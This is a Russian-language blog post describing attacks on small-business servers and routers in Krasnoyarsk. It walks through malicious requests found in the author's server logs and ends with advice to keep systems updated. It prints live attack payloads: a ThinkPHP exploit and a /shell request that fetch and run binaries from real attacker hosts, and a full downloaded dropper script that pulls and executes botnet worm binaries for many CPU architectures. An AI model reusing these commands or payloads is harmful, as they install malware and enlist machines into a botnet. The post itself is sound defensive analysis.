Вопрос безопасности сервера с каждым днём становится всё более актуальней, а обеспечение их безопасности — всё сложнее. После 28 мая 2022 г. участились кибер атаки в том числе на малый и средний бизнес. Эта напасть не обошла стороной и Красноярск. За месяц пострадало 4 клиента нашей небольшой компании. У всех четверых, при посещении сайта, появлялся видеоролик с антивоенными призывами. Из них трое настраивали свой сервер сами и сказать как их взломали я не могу, поскольку не владею объективной информацией. По четвёртому точно знаю что он попался на фишинг и передал злоумышленнику доступ по ssh.
Обычно результатом атак становится репутационный, финансовый ущерб или потеря данных. Во всех наших случаях, финансовая потеря измерялась временем восстановления потерянных данных. Так как мы приучаем своих клиентов почаще делать бэкапы и не хранить их рядом с сайтом, потери оказались не существенными.
Атаки касаются не только web или иных серверов, но и различных устройств. Ребята из компании «Призма», занимаются проектированием, монтажом и обслуживанием систем безопасности. Не так давно до 28 мая к ним на обслуживание видеонаблюдения, перешли несколько объектов, с не самым новым оборудованием. В один день пропала связь с оборудованием, но при этом трафик продолжал «уходить». Логин и пароль к роутерам уже не подходили. Похоже на то что злоумышленники как минимум сменили параметры доступа, а как максимум сменили прошивку. После обновления прошивки на последнюю официальную версию производителя данных роутеров, всё стало работать без перебоев, и больше подобного не повторялось.
Ввиду того что злоумышленники ищут способы для обнаружения слабых мест серверов и сетевого оборудования, с целью проникнуть в информационную систему компьютера пользователя или организации не стоит пренебрегать обновлением программного обеспечения.
Хочу привести примеры несостоявшихся атак на мой личный сервер, которые я обнаружил в логах, и попробовать разобрать их суть и опасность.
POST /editBlackAndWhiteList
Начнём с самого безобидного для вэб сайта. Уязвимость удаленного выполнения кода NVMS-9000 Digital Video Recorder. NVMS-9000 имел жестко закодированные учетные данные администратора для аутентификации. Удаленный неаутентифицированный злоумышленник может использовать жестко закодированные учетные данные администратора для выполнения своего кода на компьютере жертвы. Эта уязвимость направлена на видеорегистраторы конкретной фирмы и модели.
GET /phpmyadmin
Искали точку входа в базу данных.
GET /HNAP1
Сканировали поддержку протокола HNAP. С января 2010 года, в нескольких сетевых устройствах D-Link были обнаружены уязвимости, в которых можно было обойти HNAP-аутентификацию. Более подробно - здесь.
POST /GponForm/diag_Form?images
Даёт возможность обойти механизм аутентификации - для выполнения любых операции в web-интерфейсе достаточно добавить строку "?images/" к URL страницы. Если запросить URL "/images/" то устройство перезагружается. Уязвимость присутствует в типовом HTTP-сервере, применяемом в различных моделях домашних GPON-маршрутизаторах.
GET /.env; GET /admin/.env; GET /admin-app/.env; GET /api/.env; GET /back/.env; GET /backend/.env; GET /cp/.env
Поискав информацию о файле «.env» я наткнулся на конструктор Vue CLI который использует этот файл для настройки переменных окружения, содержит пары ключ=значение. На сайте «Vuejs.org» в руководстве написано следующее: «ВНИМАНИЕ Не храните никаких секретов (например, приватных ключей API) в приложении! Так как переменные окружения внедряются в сборку, то любой желающий сможет увидеть их, изучив файлы сборки приложения.» Я предполагаю что это рассчитано на тех кто не читал руководство и решил таки хранить секреты в вышеуказанном файле.
GET /wp-login.php
Эта атака направлена на взлом Wordpress. По умолчанию URL входа выглядит так /wp-login.php. Подробную статью о том как взломали блог, можно прочитать на habr.com.
GET /.aws/credentials
AWS CLI — это единый инструмент для управления сервисами AWS. В файле credentials находятся данные к AWS. Там могут быть данные к учетной записи AWS (access key ID, secret access key и session token). Полученную таким образом учетную запись можно использовать для удаленного доступа в будущем.
GET /actuator/gateway/routes; GET /actuator/health
Это актуально для тех кто пользуется модулем Spring Cloud, который позволяет хранить все конфигурации для разных приложений и разных окружений в одном месте. В документации на API описан «actuator/gateway/routes» запрос. Он нужен для получения информации обо всех маршрутах, определенных в шлюзе. Этот (actuator/health) запрос, показывает сведения о работоспособности приложения.
"\x16\x03\x01\x00c\x01\x00\x00_\x03\x01\xD3\xCC\xDD\x0E\x19\xDEs\xBD\xBE\x933A\xC2:\xEF=\xB7\xD96z\xB5\x8E\xC6K\xDAW\xA0h,\xEA\xF1\xA5\x00\x00\x12\xC0"
Такие ошибки могут возникать на сайте при некорректно настроенном на использование SSL. Но может быть и другой вариант. Запрос может быть направлен на уязвимость SSLv3 POODLE которая позволяет сетевому злоумышленнику вычислить открытый текст защищенных соединений.
GET /?XDEBUG_SESSION_START=phpstorm
Атака на сервер, использующая уязвимость php-модуля Xdebug версии < 2.5.5. Подробно про эту атаку написано здесь. А если в двух словах, то злоумышленник получает доступ по протоколу DBGp от имени пользователя веб сервера.
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
CVE-2017-9841 Уязвимость позволяет злоумышленнику удаленно запускать PHP код на сайтах, используя брешь в PHPUnit.
GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f
Уязвимость SSRF через параметр username в /owa/auth/logon.aspx на странице входа в OWA (Outlook Web Access). Для Microsoft Exchange Server 2010 SP3 и предыдущих версий.
POST /Autodiscover/Autodiscover.xml
Компании Guardicore обнаружили серьезный баг в Microsoft Exchange. С помощью его имеется возможность собирать учетные данные от домена и приложений Windows. Проблема в некорректной работе протокола Microsoft Autodiscover. Благодаря этой функции почтовые клиенты могут автоматически обнаруживать почтовые серверы, предоставлять им учетные данные и получать соответствующие настройки. Клиент будет перебирать URL-адреса до тех пор, пока он не будет успешно аутентифицирован на сервере Microsoft Exchange и не получит информацию о конфигурации. К тому же этот механизм имеет процедуру «отката», которая срабатывает, если клиент не находит эндпоинт Autodiscover Exchange.
GET /_ignition/execute-solution
В библиотеке Ignition, поставляемой с Laravel, обнаружили уязвимость, которая позволяет неавторизованным пользователям выполнять произвольный код. Уязвимость возможна из за некорректной обработки параметров POST-запроса.
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Проблема касается вэб сервера Apache версии 2.4.49 под идентификатором CVE-2021-41773. Ошибка состоит в том как Apache выполняет нормализацию URL.
«Злоумышленник мог использовать атаку обхода пути для сопоставления URL-адресов с файлами за пределами каталогов, настроенных директивами типа Alias. Если файлы вне этих каталогов не защищены обычной конфигурацией по умолчанию "require all denied", эти запросы могут быть успешными. Если CGI-скрипты также разрешены для этих псевдослучайных путей, это может привести к удаленному выполнению кода»
GET /index.php?s=/index/\x09hink\x07pp/invokefunction/>function=call_user_func_array/>vars[0]=shell_exec/>vars[1][]= 'wget http://146.0.75.242/YourName/BinName.x86 -O /tmp/.Fdp; chmod 777 /tmp/.Fdp;/tmp/.Fdp ThinkPHP.x86.Selfrep
Попытка запустить php функцию call_user_func_array с параметрами «vars[0], vars[1][]» и выполнить код удаленно. Таких запросов у меня в логах больше всего. В данном случае похоже пытались использовать уязвимость во фреймворке ThinkPHP. Пробовал скачать файл который злоумышленники предложили, но сервер уже не доступен.
POST /mifs/.;/services/LogService
Злоумышленник может добиться неаутентифицированного удаленного выполнения кода с произвольным вектором десериализации Java. Выполнение кода достигается путем произвольной десериализации в Java с использованием протокола Hessian. Аутентификация, которую можно обойти с помощью данного запроса.
GET /shell?cd+/tmp;rm+-rf+*;wget+jx.qingdaosheng.com/jaws;sh+/tmp/jaws
В этом случае происходит попытка скачать файл через shell, а затем его запустить. Возможно этот случай в интерне уже рассматривали, но иногда хочется быть причастным хоть к чему-то полезному. Любопытство взяло верх и я решил разобрать этот вариант «по косточкам». Для начала надо получить файл который нам злоумышленники предлагают скачать. Файл с названием «jaws» оказался на месте. Так как это открытый источник злоумышленников, если я его скачаю, ничего противозаконного в этом не будет. В скачанном файле всё тот-же shell скрипт.
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.x86; curl -O http://156.234.211.155/ma/meihao.x86; cat meihao.x86 > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.mips; curl -O http://156.234.211.155/ma/meihao.mips; cat meihao.mips > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.mpsl; curl -O http://156.234.211.155/ma/meihao.mpsl; cat meihao.mpsl > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arm; curl -O http://156.234.211.155/ma/meihao.arm; cat meihao.arm > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arm5; curl -O http://156.234.211.155/ma/meihao.arm5; cat meihao.arm5 > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arm6; curl -O http://156.234.211.155/ma/meihao.arm6; cat meihao.arm6 > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arm7; curl -O http://156.234.211.155/ma/meihao.arm7; cat meihao.arm7 > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.ppc; curl -O http://156.234.211.155/ma/meihao.ppc; cat meihao.ppc > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.m68k; curl -O http://156.234.211.155/ma/meihao.m68k; cat meihao.m68k > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.spc; curl -O http://156.234.211.155/ma/meihao.spc; cat meihao.spc > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.i686; curl -O http://156.234.211.155/ma/meihao.i686; cat meihao.i686 > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.sh4; curl -O http://156.234.211.155/ma/meihao.sh4; cat meihao.sh4 > systemdas; chmod +x *; ./systemdas jaws.exploit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arc; curl -O http://156.234.211.155/ma/meihao.arc; cat meihao.arc > systemdas; chmod +x *; ./systemdas jaws.exploit
Попробую разобраться что здесь происходит. По моему мнению каждая строка направлена на определённую архитектуру процессора (x86, mips, mpsl, arm, arm5, arm6, arm7, ppc, m68k, spc, i686, sh4, arc). С начала заходит в найденный каталог, затем загружает туда файл, запускает его и если архитектура совпадает, то работает дальше. Этот файл тоже оказался в свободном доступе так что можно туда заглянуть.
Начало говорит о том что это elf (формат исполняемых и связываемых файлов).
Сразу бросается в глаза надпись «This file is packed with the UPX executable packer http://upx.sf.net».
Это говорит о том что файл упакован сервисом upx. Распаковываем, «берём микроскоп» и смотрим дальше. Перед тем как открыть бинарник в программе Ghidra, точку входа можно посмотреть через команду «readelf -h». С ходу наткнулся на неприятную штуку. Цикл из которого нет выхода. Наверно так было задумано.
POST /ctrlt/DeviceUpgrade
Я предполагаю что роутеру, в каталог обновления загружается xml инструкция, по которой ПО роутера определяет адрес для скачивания нового обновления прошивки. А заполучить его можно на сайте злоумышленников — jx.qingdaosheng.com. Как будет работать роутер после этого, зависит от целей и задач злоумышленников.
POST /cgi-bin/
Цель - программное обеспечение (движок) для организации интернет-форумов Ultimate Bulletin Board. Если доступ к этому каталогу открыт, все скрипты доступны. В интернете описан случай когда хакеры используя этот способ, заполучили пароль от FTP, но пакостить не стали. Благородные оказались.
POST /GponForm/diag_Form?style/
Про GponForm я уже писал только через параметр «image». Скорей всего через заголовок «XwebPageName» при передаче параметра diag_action=ping к GponForm/diag_Form?style/ маршрутизатор выполняет пинг по адресу который находится в параметре «dest_host», и сохраняет результаты пинга в /tmp, который передаёт пользователю после того как он обратится к /diag.html.
GET /shell?cd+/tmp;rm+-rf+*;wget+jx.qingdaosheng.com/jaws;sh+/tmp/jaws
Вот это поворот!!! При анализе поступившего запроса загружается shell скрипт, после его выполнения запускается вирус отправляющий запрос с которого всё началось. Круг замкнулся. Сервер после рассылки по сети запросов к роутерам и серверам, начинает копировать себя, уже можно смело его назвать червь для создания ботнета.
А здесь я обнаружил послание от некой хакерской группы, а может и не группы. Поскольку там присутствует нецензурная лексика, её я с вашего позволения опущу. Они называют себя We BiG L33T HaxErS. Судя по стилю хакеры имеют отношение к геймерам начала 2000х годов.
Немного справки:
1337, L33T (leet — elite) — интернет-язык маленьких геймеров и хакеров годов 2000-ых. Абсолютно нечитабелен в устной речи, годится только для употребления в письменном виде. Слово elite помогает почувствовать себя особенным. Алфавит L33T формируется посредством почти полной замены букв алфавита на цифры. Поначалу нужен был для обхода словарных фильтров. Хакеры использовали, его для усложнения работы модераторов сайта и стали использовать более сложное шифрование сообщений. В World of Warcraft общение между Альянсом и Ордой осуществлялось только через leet, потом это поправили патчем. Когда алфавит утратил свою актуальность он стал выполнять свои декоративные функции. Модное веяние подхватили геймеры, понимание странных сообщений в чатах онлайн-игр показывало, что ты в теме и вообще шаришь, поэтому довольно быстро leet нашел себе новую аудиторию. Отсюда и шутки про 1337 в никнеймах школьников. Leet оставил настолько большой след в интернет-культуре, что референсы и отсылки к нему появлялись постоянно: например, в любимой теми же самыми школьниками CS 1.6 класс террориста называется leet, в Half-life есть карта под названием 1337 Street, а в Google раньше можно было набрать l33t и нажать «Мне повезёт!», после чего сам гугл переключался на leet.
«We BiG L33T HaxErS» можно интерпретировать как «мы большие элитные хакеры». Ur (смотри скриншот) я думаю это ник взятый из WoW.
Немного справки:
Ur был магом Даларана до прихода Плети. Он был наиболее известен своими исследованиями теневой магии и исследованиями других миров. Он наиболее известен своими исследованиями инопланетных существ, известных как воргены. Хотя его знания были велики, некоторые считали, что его совесть удерживает его от истинной силы. Он погиб во время Осады Даларана от рук Плети.
NeTiS - Компания «NETIS SYSTEMS» является частью компании «Netcore Group». Её штаб-квартира расположена в г. Шэньчжэнь, Китай.
Кстати сервер который занимается рассылкой если верить reg.ru привязан к Гонконгу.
Теперь попробую перевести. Самореплицирующаяся программа, которая делает плохо компании Netis, и Ur самый башковитый - мы большие элитные хакеры.
P.S. Данная публикация это способ отвлечься от основного рабочего занятия, и узнать для себя что-то новое. Основной посыл я думаю понятен, обновлять стоит не только сервера но и оборудование которое в том числе обеспечивает доступы серверов к сети. В общем всё что можно обновить надо обновлять.